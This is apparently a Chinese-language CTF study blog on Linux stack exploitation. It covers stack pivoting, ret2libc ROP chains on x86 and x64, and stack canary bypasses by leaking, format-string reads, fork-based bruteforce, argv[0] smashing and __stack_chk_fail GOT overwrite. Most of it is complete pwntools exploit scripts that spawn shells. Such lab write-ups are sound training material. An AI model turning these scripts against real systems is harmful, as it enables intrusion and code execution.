栈迁移 change_ebp(栈劫持Demo1)
最多填充12个字节,只能覆盖到ebp
写入的magic的范围到0x0804A380~0x0804A38C
所以栈迁移
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = process("./change_ebp") gdb.attach(p,"b *0x080485D3") backdoor = 0x0804850B magic_addr = 0x0804A380 p.recvuntil("leave your name\n") payload = "junk" + p32(backdoor) + p32(magic_addr) p.send(payload) p.interactive()
ebp 的作用在函数调用时,ebp 用于:
定位局部变量(如 v1 位于 ebp-8)。
在函数返回时恢复调用者的栈帧(通过 leave 指令)。
典型函数尾声(leave; ret) :
1 2 leave ; 相当于 mov esp, ebp; pop ebp ret ; pop eip,跳转到返回地址
leave 会:
把 ebp 的值赋给 esp(栈指针指向 ebp)。
然后 pop ebp(恢复调用者的 ebp)。
ret 会 pop eip(跳转到返回地址)。
(1) leave 指令的执行
mov esp, ebp:
原本 ebp 指向栈帧基址,但已经被覆盖为 magic_addr(0x0804A380)。
所以 esp 现在指向 magic_addr(全局变量 magic 的地址)。
pop ebp:
从 esp(magic_addr)弹出一个值到 ebp。
如果 magic 区域没有特殊构造,这里可能不重要。
(2) ret 指令的执行
pop eip:
从 esp(magic_addr + 4)弹出一个值到 eip(程序计数器)。
关键点 :
magic_addr + 4 是 magic 变量的第 5-8 字节。
攻击者已经通过 read(0, &magic, 0xCu) 向 magic 写入了 12 字节数据。
如果 magic + 4 处存放的是 backdoor 地址,ret 就会跳转到 backdoor!
ret2libc3(栈劫持Demo2)
在这里介绍一种新的办法,使函数可以不返回main函数
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * p = process("./ret2libc3") gdb.attach(p,"b *0x0804854C") elf = ELF("./ret2libc3") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") gets_got = elf.got["gets"] gets_plt = elf.plt["gets"] puts_plt = elf.plt["puts"] # ROPgadget --binary ./ret2libc3 --only "pop|ret" pop_ebp_ret = 0x080485db # ROPgadget --binary ./ret2libc3 | grep leave leave_ret = 0x08048448 rop_addr = 0x804a800 p.recvuntil("ret2libc3\n") payload1 = "a" * 0x108 + "junk" payload1 += p32(puts_plt) + p32(pop_ebp_ret) + p32(gets_got) payload1 += p32(gets_plt) + p32(pop_ebp_ret) + p32(rop_addr) payload1 += p32(pop_ebp_ret) + p32(rop_addr - 4)+p32(leave_ret) p.sendline(payload1) leak_addr = u32(p.recv(4)) libc_base = leak_addr - libc.symbols["gets"] libc.address = libc_base log.success("libc_base:" + hex(libc.address)) system = libc.symbols["system"] binsh = libc.search("/bin/sh").next() payload2 = b"A" * 0x108 # 填充缓冲区 payload2 += p32(system) # 调用 system payload2 += p32(0) # 返回地址(不重要,因为直接拿 shell) payload2 += p32(binsh) # system 的参数 p.sendline(payload2) p.interactive()
第一个paylaod 1 payload1 += p32(puts_plt) + p32(pop_ebp_ret) + p32(gets_got)
输出gets的got表地址,方便寻找libc基址
然后p32(pop_ebp_ret)取出两个地址,一个放进ebp,一个放入eip(ret指令),放进eip的也就是p32(gets_plt),正好接上下一条指令继续执行。
1 payload1 += p32(gets_plt) + p32(pop_ebp_ret) + p32(rop_addr)
调用gets的plt表,又产生了一个输入机会
1 payload1 += p32(pop_ebp_ret) + p32(rop_addr - 4)+p32(leave_ret)
把rop_addr - 4作为ebp,所以程序会跳转到这里
而rop_addr 的数据可以有payload2填入,精心构造即可
第二个paylaod 填入了上面的返回地址,使程序进入system函数,再构造system函数的参数/bin/sh
就构造好了后门函数
x64的情况其实差不多,就是先传入参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * p = process("./ret2libc3_x64") gdb.attach(p,"b *0x00000000004006F1") elf = ELF("./ret2libc3_x64") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") gets_got = elf.got["gets"] puts_plt = elf.plt["puts"] gets_plt = elf.plt["gets"] rop_addr = 0x601800 # ROPgadget --binary ./ret2libc3_x64 --only "pop|ret" # 0x0000000000400783 : pop rdi ; ret rdi = 0x0000000000400783 pop_rsp3 = 0x000000000040077d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret p.recvuntil("ret2libc3_x64\n") payload1 = "a" * 0x100 + "junkjunk" payload1 += p64(rdi) + p64(gets_got) payload1 += p64(puts_plt) payload1 += p64(rdi) + p64(rop_addr) payload1 += p64(gets_plt) payload1 += p64(pop_rsp3) + p64(rop_addr - 0x18) p.sendline(payload1) leak_addr = u64(p.recv(6).ljust(8,"\x00")) libc_base = leak_addr - libc.symbols["gets"] libc.address = libc_base log.success("libc_base:" + hex(libc.address)) system = libc.symbols["system"] binsh = libc.search("/bin/sh").next() payload2 = p64(rdi) + p64(binsh) payload2 += p64(system) p.sendline(payload2) p.interactive()
rbp_leave(栈劫持Demo3)
v1存在栈溢出漏洞,但可输入的字符数太少
最多覆盖到返回地址处,无法直接rop
所以考虑用name来构造,然后用v1转过去
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import * from LibcSearcher import * p = process("./rbp_leave") #gdb.attach(p,"b *0x000000000040073F") elf = ELF("./rbp_leave") name_addr = 0x6010A0 # ROPgadget --binary ./rbp_leave --only "pop|ret" # 0x0000000000400783 : pop rdi ; ret rdi = 0x4007c3 rsi2 = 0x4007c1 pop_rsp3 = 0x4007bd # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret # ROPgadget --binary ./rbp_leave | grep leave leave_ret = 0x4006f0 # leave ; ret ret = 0x4006f1 read_input = 0x4006C7 rop_addr2 = name_addr + 0x800 name = p64(ret) *20 name += p64(rdi) + p64(elf.got["read"]) name += p64(elf.plt["puts"]) name += p64(rdi) + p64(rop_addr2) name += p64(rsi2) + p64(0x200) + p64(0) name += p64(read_input) name += p64(pop_rsp3) + p64(rop_addr2 - 0x18) p.sendafter(b"leave your name\n",name.ljust(0x400,b"\x00")) payload1 = b"a" * 0x100 payload1 += p64(name_addr - 8) payload1 += p64(leave_ret) p.sendafter("try to break it\n",payload1) leak_addr = u64(p.recv(6).ljust(8,b"\x00")) libc=LibcSearcher("read",leak_addr) libc_base = leak_addr - libc.dump("read") libc.address = libc_base print(hex(libc.address)) system = libc_base+libc.dump("system") binsh = libc_base+libc.dump("str_bin_sh") payload2 = p64(rdi) + p64(binsh) payload2 += p64(system) p.send(payload2) p.interactive()
第一个payload 1 2 name += p64(rdi) + p64(elf.got["read"]) name += p64(elf.plt["puts"])
调用puts函数打印read的got表地址
1 2 3 name += p64(rdi) + p64(rop_addr2) name += p64(rsi2) + p64(0x200) + p64(0) name += p64(read_input)
调用read函数,read的参数比较多,所以多用了几个寄存器,把从终端输入的数据放在p64(rop_addr2)的位置上
1 name += p64(pop_rsp3) + p64(rop_addr2 - 0x18)
因为p64(pop_rsp3)有三个pop指令,所以有要空出足够的距离,防止把重要数据弹出了
第二个payload 填补v1
1 2 payload1 += p64(name_addr - 8) payload1 += p64(leave_ret)
p64(name_addr - 8):覆盖 RBP
目标 :将 RBP 修改为 name_addr - 8。
为什么是 name_addr - 8?
leave 指令会执行 mov rsp, rbp,因此 rsp 将指向 name_addr - 8。
接下来的 ret 会从 name_addr(即 name 的起始地址)开始执行 ROP 链。
-8 的调整 :因为 leave 之后会 pop rbp,rsp 会 +8,最终指向 name_addr。
第三个payload 1 2 payload2 = p64(rdi) + p64(binsh) payload2 += p64(system)
为第一个payload提供的read输入
综上所述
通过0和2构造完整的后门函数,然后通过1进入执行这个后门函数
脚本
如何选择合适的 rop_addr2?
方法 1:使用 name 的扩展区域
如果 name 的大小是 0x400,可以选择 name_addr + 0x400 之后的地址(如 name_addr + 0x800)。
优点 :简单直接,无需额外泄露地址。
缺点 :需确保 name 区域足够大(或程序允许越界写入)。
方法 2:使用 libc 中的可写段
libc 中有许多可写区域(如 __malloc_hook、__free_hook 附近)。
步骤 :
泄露 libc 基址(如通过 puts(read_got))。
计算目标地址(如 libc_base + 0x3c4b00)。
优点 :稳定,适合大型 ROP 链。
缺点 :需要先泄露 libc 地址。
方法 3:使用堆(Heap)
如果程序调用了 malloc,堆地址可能可预测。
步骤 :
泄露堆地址(如通过 puts(malloc_got))。
选择堆块中的空闲区域。
优点 :空间大,不易冲突。
缺点 :需要堆泄露。
canary保护 Canary的设计思想简单高效,就是在栈溢出发生的高危区域的尾部插入一个值,当函数返回时检测Canary的值是否发生了改变,从而判断是否发生栈溢出/缓冲区溢出。
保护原理 当程序启用Canary编译后
插入Canary值
1 2 mov rax,qword ptr fs:[0x28] mov qword ptr[rbp-8],rax
检查
1 2 3 4 moV rdx,QWORD PTR [rbp-0x8] xOr rdx,QWORD PTR fs:0x28 je0x4005d7<main+65> call 0x400460<_stack_chk_fail@plt>
如果检测出Canary的值被修改过,则会运行到__stack_chk_fail函数。这个函数位于glibc中,默认情况下经过ELF的延迟绑定。也就是说,stack_chk_fail是一个外部函数,当程序没有开启FULL RELRO保护时,可以被GOT劫持攻击。攻击者可以先劫持stack_chk_fail函数的GOT,再触发Canary检测报错,这时就会进入劫持的地址,这也是一种利用思路
在 Linux x86-64 架构下,Canary(也称为 stack_guard 或栈保护值)通常并不是直接存储在栈上(那样它就容易被溢出),而是存储在一个线程本地存储 (TLS) 区域中。
在 x86-64 Linux 系统中,fs 寄存器(或者 gs 寄存器)被操作系统用于指向当前线程的线程本地存储 (TLS) 区域。
GCC 编译器在编译时,会在程序启动时初始化这个 Canary 值,并将其存储在 TLS 区域的一个特定偏移量上。
对于 x86-64 Linux,这个偏移量通常是 0x28。所以,fs:0x28 指向的内存地址就是当前线程的 stack_guard(即 Canary 值)的存储位置。
而且TLS中的值由函数security_init进行初始化
最后,注意Canary最后的一个字节会被设置为0,防止类似printf(”%s”,&buf)形式的函数不小心将Canary的值打印出来,所以用“\x00”字符(在C语言中表示字符串的结尾)来做一个截断,和ASLR没有关系。
栈结构
1 2 3 4 [ buf (256 bytes) ] ← esp+0x00 [ stack canary (4 bytes) ] ← esp+0x100 [ saved ebp (4 bytes) ] [ return address (4 bytes)]
对于有Canary的程序,如果考虑栈溢出攻击,主要有下面4个思路:
1)利用泄露函数泄露出Canary的值,再进行利用。
2)爆破得到Canary的值。
3)__stack_chk_fail函数泄露关键信息。
4)修改TLS中的stack_guard值。
1.leak_canary(泄露Canary 值)
脚本1(printf_替代/x00) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = process("./leak_canary") #gdb.attach(p,"b *0x08048631") main=0x0804867f bin= 0x080485CC payload=b'a'*0x100+b'b' p.send(payload) p.recvuntil(b'a'*0x100) canary=u32(p.recv(4))-ord('b') print(hex(canary)) payload=b'\x00'*0x100+p32(canary) payload+=p32(0)*2 payload+=p32(main) payload+=p32(bin) p.send(payload) p.interactive()
1 2 3 4 5 payload=b'a'*0x100+b'b' p.send(payload) p.recvuntil(b'a'*0x100) canary=u32(p.recv(4))-ord('b') print(hex(canary))
用b替代canary最低位的\x00,使得它的值可以被输出
然后用收到的数据减去b的值就是canary的值
两个padding
分配了 0x118字节的栈空间给局部变量和padding。
栈空间一次性分配,便于管理和性能
编译器在函数入口会执行类似 sub esp, 0x118 的操作,一次性给函数所有局部变量、临时数据和对齐空间分配足够大的连续栈空间。分配的 280 字节是 buf + 其他局部变量 + padding
这块空间里包含你所有局部变量(比如 buf)、隐式变量(比如保存的寄存器)、以及为了满足 CPU 访问对齐需求而插入的 padding。
从ebp开辟了0x118个字节存放,但buf从ebp-0x10c开始存储,接着是canary,所以还有两个padding
canary不一定是挨着缓冲区的,单在这道题是的
情况
会插 canary 紧挨数组吗?
函数里有 char buf[xxx]
✅ 一般会 放 canary 在 buf 后面
没有数组、不会栈溢出
❌ 通常不会启用 canary
数组不在栈上(比如 malloc 的)
❌ 不是栈保护的范围
特殊优化或内联小函数
⚠️ 可能被省略
虽然 canary 的位置不是硬编码的 ,但在实际场景中(特别是题目明确有 char buf[] 并开启了 canary),它通常 就在 buf 后面 ,且通过调试或试探可以准确确定它的偏移位置 。
脚本2(格式化字符串) 可以看到buf在第7个位置上
而且buf有256个字节,可以存放64个字符
所以canary就是在第64+7即71个参数的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p = process("./leak_canary") #gdb.attach(p,"b printf") target = 0x080485CC p1 = "%71$p\n" p.send(p1) leak_info = p.recvuntil("\n",drop = True) canary = int(leak_info,16) log.success("canary:" + hex(canary)) p2 = b"\x00" * 0x100 + p32(canary) p2 += p32(0) * 3 p2 += p32(target) p.send(p2) p.interactive()
2.one_by_one_bruteforce (逐个字节爆破) 通过fork函数开启子进程交互的题目,因为fork函数会直接拷贝父进程的内存,所以每次创建的子进程的Canary是相同的。我们可以利用这个特点,逐个字节地将Canary爆破出来。
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * p = process("./one_by_one_bruteforce") def bruteforece1bit(): global known for i in range(256): p1 = "a" * 0x108 p1 += known p1 += chr(i) p.sendafter("one_by_one_bruteforce\n",p1) try: info = p.recvuntil("\n") if "*** stack smashing detected ***:" in info: p.send("n\n") continue else: known += chr(i) break except: log.info("maybe there something wrong") break def bruteforce_canary(): global known known += "\x00" for i in range(7): bruteforece1bit() if i != 6: p.send("n\n") else: p.send("y\n") context.log_level = "debug" target = 0x000000000040083E known = "" bruteforce_canary() canary = u64(known) log.success("canary:" + hex(canary)) p2 = "a" * 0x108 + p64(canary) + p64(0) + p64(target) p.sendafter("go\n",p2) p.interactive()
逐字节尝试,无“stack smashing detected”报错回显来对Canary的数值进行逐字节爆破。如果输入正确,则没有回显,能得到Canary的这个字节,然后开始下一个字节的爆破;如果输入有误,则爆破不成功,继续下一个爆破的数值,爆破不成功时子进程会报错退出,但不会影响父进程,父进程会一直创建子进程,可以利用这一点实现爆破。得到Canary的具体数值后,可以在父进程进行栈溢出,覆盖返回地址,实现Getshell,也可以在子进程中实现Getshell。因为有了Canary的具体数值,所以可以绕过Canary保护机制
3.stack_smashes stack_smashes是一种特殊的利用思路。前面已经提到过,在_stack_chk_fail函数中会将_libc_argv[0]的信息打印出来,
例如(stack smashing detected : [程序名] terminated)如果能够控制__libc_argv[0]中保存的地址为我们想要的信息的地址,那么就能得到相应的数据。
在 Linux 系统中,程序名通常是通过读取 __libc_argv[0] 这个全局指针来实现的。__libc_argv 是 libc 库内部维护的一个指针数组,其中 __libc_argv[0] 指向当前进程的可执行文件路径字符串。
攻击者通过任意地址写入 (通常通过 ROP 链实现)将 __libc_argv[0] 这个指针的值,从原来的程序名地址,修改为我们想要泄露的数据的地址 (例如 flag 的地址)。
🔍 main 函数的标准原型
1 int main(int argc, char *argv[], char *envp[]);
argc: 命令行参数个数
argv: 参数字符串数组指针
envp: 环境变量字符串数组指针
在栈上,这些参数是由 __libc_start_main 调用 main 时传入的。
所以查看buf的地址
直接下断点到read的位置,看到buf的位置是0x7fffffffdc00
接着查看libc_argc[1],即文件信息
0x7fffffffde18
计算好偏移之后就可以把libc_argc[0]的地址换为flag的地址了
脚本 1 2 3 4 5 6 7 8 9 10 from pwn import * p = process("./stack_smashes") #gdb.attach(p,"b *0x0000000000400875") context.log_level = "debug" flag_addr = 0x0601090 p2 = "a" * 0x218 + p64(flag_addr) p.sendafter("stack_smashes\n",p2) p.interactive()
还有就是直接把stack_chk_fail函数的get表村的地址改为后门函数的地址
偏移是6
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context(arch='amd64',os='linux',word_size='64') p=remote("node5.buuoj.cn",25904) #p = process("./r2t4") elf = ELF("./r2t4") backdoor = 0x400626 #__stack_chk_fail_got_addr = elf.got["__stack_chk_fail"] __stack_chk_fail = elf.got['__stack_chk_fail'] payload = fmtstr_payload(6, {__stack_chk_fail: backdoor}).ljust(0x38,b'a') p.sendline(payload) p.interactive()
总结来说,ljust(0x38, b’a’) 的目的是:
确保 read 函数读取到完整的、由我们控制的 56 字节数据。
防止 read 函数读取到其他不可预测的数据,从而干扰 printf 的行为。